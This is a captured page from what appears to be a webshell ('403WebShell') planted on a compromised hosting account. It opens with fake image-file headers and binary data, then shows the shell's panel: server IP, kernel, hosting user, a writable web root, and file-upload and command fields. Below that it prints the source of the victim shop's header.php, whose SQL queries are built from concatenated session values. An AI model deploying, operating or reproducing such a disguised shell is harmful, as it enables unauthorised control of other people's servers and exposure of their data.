RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð .......................................===Shadow-Here===........................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------ //////////////////////////////////////////////////////////////////////////////////////////////// GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 148.135.140.132  /  Your IP : 3.17.62.25
Web Server : LiteSpeed
System : Linux in-mum-web1116.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u496275626 ( 496275626)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u496275626/domains/mdnenterprises.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u496275626/domains/mdnenterprises.in/public_html/header.php
<?php

session_start();
ob_start();
ob_clean();

include_once "slug-generate.php";
include_once "admin/include/config.php";
$sel_obj = new config();
$checksession = @$_SESSION["uid"];
$temp_session_id = session_id();

if (isset($checksession) and !empty($checksession)) {
    $where_con = "`id`=" . "'$checksession'";
    $query = $sel_obj->display_rcd("tblusers", $where_con);
    if (is_array($query) || !empty($query)) {
        foreach ($query as $user_data) {
        }
    }
}

//get user Details = when
if (isset($checksession) and !empty($checksession)) {
    $test = $sel_obj->update(
        "temp_cart",
        ["user_id" => $checksession],
        ["temp_id" => $temp_session_id]
    );
    $sel_obj->update(
        "shiping",
        ["user_id" => $checksession],
        ["temp_id" => $temp_session_id]
    );

    /*---------- Update UserProductLog -----------*/
    $test = $sel_obj->update(
        "user_product_log",
        ["user_id" => $checksession],
        ["temp_id" => $temp_session_id, "user_id" => 0]
    );
    /*--------------------------------------------*/

    $where_con = "`status` = 1 AND  `user_id`=" . "'$checksession'";
    $all_count_where = $sel_obj->all_count_row("temp_cart", $where_con);
    $cart_query = $sel_obj->display_rcd("temp_cart", $where_con);
} else {
    $where_con = "`status` = 1 AND  `temp_id`=" . "'$temp_session_id'";
    $all_count_where = $sel_obj->all_count_row("temp_cart", $where_con);
    $cart_query = $sel_obj->display_rcd("temp_cart", $where_con);
}
/*---- Validate Cart ------*/
if (is_array($cart_query) || !empty($cart_query)) {
  $p_id_temp = array();
    foreach ($cart_query as $cart_query_data) {
      if(in_array($cart_query_data['p_id'], $p_id_temp)){
        $sel_obj->delete("temp_cart", ['id' =>  $cart_query_data['id']]); 
       }else{
        $p_id_temp[] = $cart_query_data['p_id'];
       }
    }
}
/*-------------------------*/
?>
<?php
if (isset($checksession) and !empty($checksession)) {
    $where_con = "`user_id`=" . "'$checksession' AND `status`= 1";
    $count = $sel_obj->all_count_row("temp_cart", $where_con);
} else {
    $where_con = "`temp_id`=" . "'$temp_session_id' AND `status`= 1";
    $count = $sel_obj->all_count_row("temp_cart", $where_con);
}
if ($count >= 1) {
    if (isset($checksession) and !empty($checksession)) {
        $where_con = "`user_id`=" . "'$checksession' AND `status`= 1";
        $fetch_temp_cart = $sel_obj->display_rcd("temp_cart", $where_con);
    } else {
        $where_con = "`temp_id`=" . "'$temp_session_id' AND `status`= 1";
        $fetch_temp_cart = $sel_obj->display_rcd("temp_cart", $where_con);
    }
    if (is_array($fetch_temp_cart) || is_object($fetch_temp_cart)) {
        $total_gst = 0;
        $sub_total = "";
        foreach ($fetch_temp_cart as $temp_items) {
            @$sub_total += $temp_items["quantity"] * $temp_items["d_price"];
            $item_total = $temp_items["quantity"] * $temp_items["d_price"];
            $gst = str_replace("%", " ", $temp_items["gst"]);
            $gst_sub = $sel_obj->getPercentOfNumber(
                $temp_items["d_price"],
                $gst
            );
            $dd = $gst_sub * $temp_items["quantity"];
            $total_gst += $dd;
        }
    }
}
?>

<?php


/*================= Visit Count =====================*/
  if (isset($_COOKIE['visit_count'])) {
    $visit_count = $_COOKIE['visit_count'] + 1;
  }else{
    $visit_count = 1;
  }
  setcookie('visit_count', $visit_count , time()+86400);
/*==== Set Cookie For Most visited product Popup ====*/
  if (!isset($_COOKIE['most_visited_status'])) {
    $cookie_value = array(
      'value'=>0,
      'created_at'=> time(),
      'expire_at'=> time()+86400
    );
    setcookie('most_visited_status', json_encode($cookie_value) , time()+86400);
  }
/*==== Set Cookie For Best Selling product Popup ====*/
  if (!isset($_COOKIE['best_selling_status'])) {
    $cookie_value = array(
      'value'=>0,
      'created_at'=> time(),
      'expire_at'=> time()+86400
    );
    setcookie('best_selling_status', json_encode($cookie_value) , time()+86400);
  }
/*==== Set Cookie For Offer Coupon Popup ====*/
  if (!isset($_COOKIE['offer_coupon_status'])) {
    $cookie_value = array(
      'value'=>0,
      'day'=> 1,
      'created_at'=> time(),
      'expire_at'=> time()+86400
    );
    setcookie('offer_coupon_status', json_encode($cookie_value) , time()+86400*30);
  }

$notify_date = date("Y-m-d H:i:s", strtotime("-5 day"));
$cond_noti="(`price_drop_date`>='$notify_date' OR `created_at`>='$notify_date') AND `status`= 1";

$query_noti=$sel_obj->display_rcd("product",$cond_noti);
array_multisort( array_column($query_noti, "updated_at"), SORT_DESC, $query_noti );

if (!empty($query_noti)) {
  $count_bell = count($query_noti);
}else{
  $count_bell = 0;
}
  $social = $sel_obj->social();
  

?>

<!DOCTYPE html>
<html lang="en">
   <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
   <head>
       
      <meta charset="UTF-8" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <meta http-equiv="X-UA-Compatible" content="ie=edge" />
      <title>Redsun Switches & Accessories</title>
      <!-- Favicon -->
      <link rel="shortcut icon" type="image/x-icon" href="<?=BASE_URL?>assets/images/logo/favicon.png" />
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
      <!-- Google Fonts -->
      <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800&amp;display=swap" rel="stylesheet" />
      <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
      <link rel="stylesheet" href="<?=BASE_URL?>assets/css/vendor/plugins.min.css">
      <!--<link rel="stylesheet" href="<?=BASE_URL?>assets/css/style.min.css">-->
      <link rel="stylesheet" href="<?=BASE_URL?>assets/css/responsive.min.css">
      <link rel="stylesheet" href="<?=BASE_URL?>assets/css/cstyle.css">
      <link rel="stylesheet" href="<?=BASE_URL?>assets/css/slick.css">
      <link rel="stylesheet" href="<?=BASE_URL?>style_new.css">
      <script>var base_url = window.location.origin+"/";</script>
    
      <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
     
      <script src="<?=BASE_URL?>assets/js/vendor/jquery-3.5.1.min.js"></script>
      <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
      <!-- -------------- Selecte 2 ---------- -->
      <link href="<?=BASE_URL?>assets/select/select2.min.css" rel="stylesheet" />
      <script src="<?=BASE_URL?>assets/select/select2.min.js"></script>
      <!-- ========== Push_Notification ============ -->
      <!-- <link href="<?=BASE_URL?>assets/js/OneSignalSDKWorker.js" rel="stylesheet"/> -->
      
  
      <style>
        .ukp_ul li {font-size: 11px!important;}
        /* Social Button cover*/

        .btn-facebook {
            background: #3b579d;
            color: #ffffff;
        }
        .btn-twitter {
            background: #2caae1;
            color: #ffffff;
        }
        .btn-linkedin {
            background: #0177b5;
            color: #ffffff;
        }
        .btn-instagram {
            /*background: #dc4a38;*/
            color: #ffffff;
            background: radial-gradient(circle at 30% 107%, #fdf497 0%, #fdf497 5%, #fd5949 45%,#d6249f 60%,#285AEB 90%);
        }
       /* .btn-facebook:hover, .btn-facebook:focus {
            background: #2d4278;
            color: #ffffff;
        }
        .btn-twitter:hover, .btn-twitter:focus {
            background: #1b8dbf;
            color: #ffffff;
        }
        .btn-linkedin:hover, .btn-linkedin:focus {
            background: #015682;
            color: #ffffff;
        }*/

        .___bell  {
            display: contents;
        }   

      .___bell i{
         transform: translate(-8px, -4px);
          color: #222;
          font-size: 1.5rem;
        }
        #onesignal-bell-container{display: none;}
        .count{
              border-radius: 100%;
              width: 18px;
              height: 18px;
              position: absolute;
              text-align: center;
              transform: translate(-20px, -23px);
              font-size: 0.8rem;
              line-height: 1.5;
              background: #10ce10;
              font-weight: 500;
              color: #fff;
        }
        @media only screen and (min-width: 900px) and (max-width:1257px) {
          .dropdown_search {width: 350px; }
        }
        .__off_major {
            color: #008000;
            font-weight: 600;
        }
        .current-price {
            color: #b12704;
            font-weight: 500;
        }
        
      </style>

    
    
      <!-- End Google Tag Manager -->
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
   </head>
   <body class="home-11 home-electronic" data-spy="scroll" data-target="#myScrollspy" data-offset="95">
 
      <div id="main">
      <!-- Header Start -->
      <header class="main-header home-10">
         <!-- Header Top Start -->
         <div class="container _mobilehead">
            <div class="row wp-admin ">
               <div class="col-lg-7 col-md-6 col-sm-6 col-6 pl-0">
                  <ul class="d-flex list-unstyled mb-0">
                     <li><a href="<?=BASE_URL?>bulk_enquiry.php">Bulk Enquiry</a></li>
                     <li class=" none"><a href="<?=BASE_URL?>track_order.php">Order Tracking</a></li>
                     <?php
                        $condition_last_order="status='0' AND `order_id`!='' AND `user_id`=$checksession"; 
                        $query_last_order=$sel_obj->display_rcd('temp_cart', $condition_last_order);
                        if(is_array($query_last_order) || !empty($query_last_order))
                        {
                          foreach($query_last_order as $data_last_order)
                          {
                          }
                        }
                        $last_condition="`p_id`=".$data_last_order['p_id'];
                        $last_p_query=$sel_obj->display_rcd("multiple_category",$last_condition);
                        if(is_array($last_p_query) AND !empty($last_p_query))
                         {
                           foreach($last_p_query as $last_p_data)
                              {
                              }
                         }
                      ?>
                     <?php if($checksession!="" && !empty($last_p_query)){ ?>
                     <li style="border-right: unset;">Last Order :</li>
                     <li class="" style="width: 300px;">
                      <marquee>
                         <a href="<?=BASE_URL?>product_details.php?p_id=<?php echo $data_last_order['p_id'];?>&&cat_id=<?php echo $last_p_data['cat_id'];?>"><?php echo $data_last_order['p_name']; ?></a>
                      </marquee>
                     </li>
                      <?php } ?>
                      <!--<li class=" none"><a href="<?=BASE_URL?>sell_product.php">Sell Your Product</a></li>-->
                      <!--<li class=" none"><a href="#" target="_blank">Download App</a></li>-->
                  </ul>
               </div>
               <div class="col-lg-5 col-md-6 col-sm-6 col-6">
                  <ul class="list-unstyled d-flex float-right mb-0 ">
                     <li class="">Need help? Call Us:<span style="color: #0878c2; font-weight: 700;">&nbsp;<?php echo $social['whatsapp']; ?></span></li>
                     <li class="">info@redsun.in</li>
                  </ul>
               </div>
            </div>
         </div>
         <!-- Header Top End -->
         <!-- Header Buttom Start -->
         <div class="header-navigation d-lg-block d-none">
            <div class="container">
               <div class="row">
                  <!-- Logo Start -->
                  <div class="col-lg-3 col-md-3 col-sm-2">
                     <div class="logo">
                        <a href="<?=BASE_URL?>index.php" style="color:#fff; text-transform: capitalize;">
                          <img src="<?=BASE_URL?>assets/images/logo/logo.png" class="img-fluid"  />
                        <?php if(isset($checksession) and !empty($checksession))
                           {
                              echo "hello, ".$user_data['FullName']; 
                           }
                           ?>
                        </a>
                     </div>
                  </div>
                  <!-- Logo End -->
                  <div class="col-lg-6 col-md-5 col-sm-2 _allcategoty">
                     <div class="dropdown _main_drop">
                        <button class="btn all_dropdown dropdown-toggle f100  " type="button" id="dropdownMenuButton" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                        All Categories
                        </button>
                        <div class="dropdown-menu _Alldropz" aria-labelledby="dropdownMenuButton">
                           <!-- <a href="category.php?cat_id=145" class="sub_cate dropdown-item">Markers</a> -->

                           <?php
                             $cat_condition="`status`= 1 ORDER by `short_order` DESC LIMIT 4000";
                             $cat_query=$sel_obj->display_rcd("category",$cat_condition);
                             if(is_array($cat_query) AND !empty($cat_query))
                             {
                                foreach($cat_query as $cat_data)
                                {
                                    ?>
                              <a href="<?=BASE_URL?>category/<?php echo $cat_data['cat_id'];?>/1/<?php echo strtolower(str_replace(" ","-",$cat_data['name']));?>" class="sub_cate dropdown-item"><?php echo $cat_data['name'];?></a>
                          <?php
                             }
                             }
                                ?>
                        </div>
                     </div>
                     <div class="header_account_area home-6">
                        <!--Seach Area Start -->
                        <div class="header_account_list search_list" style="">
                           <a href="javascript:void(0)"><i class="ion-ios-search-strong"></i></a>
                           <div class="dropdown_search" style="">
                              <form action="<?=BASE_URL?>search.php" method="get" class="tax-wrap">
                                 <input placeholder="Search Product here ..." type="text" id="seardata" name="search_product" onkeyup='searchProduct(this.value)' required/>
                                 <button type="submit" name="submit"><i class="ion-ios-search-strong"></i></button>
                              </form>
                           </div>
                        </div>
                      </div>
                    <ul id="searchData" class="hide-tax">
                    </ul>  
                  </div>
                  <div class="col-lg-3 col-md-4 col-sm-8">
                     <!--Header Bottom Account Start -->
                     <div class="header_account_area home-6">
                        <!--Seach Area Start -->
                        <!-- <div class="header_account_list search_list" style="margin-top: 5px;">
                           <a href="javascript:void(0)"><i class="ion-ios-search-strong"></i></a>
                           <div class="dropdown_search" style="margin-left:-70px;">
                              <form action="search.php" method="get">
                                 <input placeholder="Search Product here ..." type="text" name="search_product" required/>
                                 <button type="submit" name="submit"><i class="ion-ios-search-strong"></i></button>
                              </form>
                           </div>
                        </div> -->
                        <!--Seach Area End -->
                        
                        <!--Cart info Start -->
                        <div class="cart-info-wrap">
                           <div class="contact-link">
                            <div class="___bell">
                              <?php if($count_bell>0){ ?>
                                <a href="<?=BASE_URL?>notification.php"><i class="fa fa-bell" aria-hidden="true"></i>
                                <span class="count"><?php echo $count_bell; ?></span></a>
                              <?php }else{ ?>
                              <a><i class="fa fa-bell" aria-hidden="true"></i></a>
                              <?php } ?>
                            </div>
                              <div class="header-right-nav">
                                 <div class="dropdown-navs">
                                    <ul>
                                       <?php if(isset($checksession) and !empty($checksession))
                                          {
                                            ?>
                                       <li class="dropdown after-n">
                                          <a  href="<?=BASE_URL?>my_account.php"><i class="fa fa-user"></i>My Account</a>
                                       </li>
                                       <li class="dropdown after-n">
                                          <a  href="<?=BASE_URL?>logout.php"><i class="fa fa-sign-out"></i>Logout</a>
                                       </li>
                                       <?php
                                          }
                                          else
                                          {
                                          ?>
                                       <li class="dropdown after-n">
                                          <a  href="<?=BASE_URL?>register.php"> <i class="fa fa-user-plus"></i>Register</a>
                                       </li>
                                       <li class="dropdown after-n">
                                          <a  href="<?=BASE_URL?>login.php"><i class="fa fa-sign-in"></i> Login</a>
                                       </li>
                                       <?php
                                          }
                                          ?>
                                       <!-- Language End -->
                                    </ul>
                                 </div>
                              </div>
                           </div>
                           <div class="clear"></div>
                           <div class="cart-info d-flex home-9">
                              <div class="mini-cart-warp">
                                 <a href="#" class="count-cart"><span class="customcount"><span class="cartcount"> <span id="smallcarttotal"><?php echo $all_count_where;?></span></span></span><span class="flotcart"><span id="flotcart"> ₹<?php echo number_format($sub_total,"2");?></span></span></a>
                                 <div class="mini-cart-content">
                                    <div id="smallcart">
                                       <?php
                                          if(isset($checksession) and !empty($checksession))
                                          {
                                              $where_con="`user_id`="."'$checksession' AND `status`= 1";
                                              $count = $sel_obj->all_count_row('temp_cart',$where_con);
                                              }
                                              else
                                              {
                                                  $where_con="`temp_id`="."'$temp_session_id' AND `status`= 1";
                                                  $count = $sel_obj->all_count_row('temp_cart',$where_con);
                                              }
                                          
                                              if($count>=1)
                                              { 
                                          ?>
                                       <div class="cartscroll">
                                          <ul>
                                             <?php
                                                if(isset($checksession) and !empty($checksession))
                                                {
                                                    $where_con="`user_id`="."'$checksession' AND `status`= 1";
                                                    $fetch_temp_cart = $sel_obj->display_rcd('temp_cart',$where_con);
                                                }
                                                else
                                                {
                                                     $where_con="`temp_id`="."'$temp_session_id' AND `status`= 1";
                                                     $fetch_temp_cart = $sel_obj->display_rcd('temp_cart',$where_con);
                                                }
                                                     if(is_array($fetch_temp_cart) || is_object($fetch_temp_cart))
                                                     {
                                                         $total_gst = 0;
                                                         $sub_total=""; 
                                                        foreach($fetch_temp_cart as $temp_items)
                                                        {
                                                
                                                    @$sub_total += ($temp_items['quantity'] * $temp_items['d_price']);
                                                    $item_total = $temp_items['quantity']* $temp_items['d_price']; 
                                                         
                                                         
                                                        $gst=str_replace("%"," ",$temp_items['gst']);
                                                        $gst_sub=$sel_obj->getPercentOfNumber($temp_items['d_price'],$gst);
                                                        $dd = ($gst_sub*$temp_items['quantity']);
                                                        $total_gst += $dd;
                                                 ?> 
                                             <li class="single-shopping-cart">
                                                <div class="shopping-cart-img">
                                                   <a href="#"><img alt="" src="admin/upload/<?php echo $temp_items['img'];?>" /></a>
                                                   <span class="product-quantity"><?php echo $temp_items['quantity'];?>x</span>
                                                </div>
                                                <div class="shopping-cart-title">
                                                   <h4><a href="#"><?php echo $temp_items['p_name'];?></a></h4>
                                                   <span>₹<?php echo number_format($item_total,"2")?></span>
                                                   <div class="shopping-cart-delete">
                                                      <a href="<?=BASE_URL?>action.php?remove=<?php echo base64_encode($temp_items['id']);?>"><i class="ion-android-cancel"></i></a>
                                                   </div>
                                                </div>
                                             </li>
                                             <?php } }?>
                                          </ul>
                                       </div>
                                       <div class="shopping-cart-total">
                                          <h4>Subtotal : <span>₹<?php echo number_format($sub_total,"2");?></span></h4>
                                          <h4 class="shop-total">Total : <span>₹<?php echo number_format($sub_total,"2");?></span></h4>
                                       </div>
                                       <!-- <div class="shopping-cart-btn text-center">
                                          <a class="default-btn" href="cart.php" style="background: #0090f0; color:#fff;">cart</a>
                                       </div> -->
                                       <?php
                                          }
                                          else
                                          { 
                                          ?>
                                       <img src="<?=BASE_URL?>assets/images/emptycart.jpg" class="img-responsive">
                                       <?php 
                                          }
                                          ?>
                                          <div class="shopping-cart-btn text-center">
                                          <a class="default-btn" href="<?=BASE_URL?>cart.php" style="background: #0090f0; color:#fff;">cart</a>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
                        <!--Cart info End -->
                     </div>
                  </div>
               </div>
            </div>
         </div>
         <!--Header Bottom Account End -->
         <!-- Menu Content Start -->
         <div class="header-buttom-nav sticky-nav">
            <div class="container position-relative">
               <div class="row">
                  <div class="col-md-12 text-left">
                     <div class="ovescrll">
                        <!--Main Navigation Start -->
                        <div class="main-navigation d-none d-lg-block">
                           <ul>
<!--  <li class="nav-item dropdown">-->
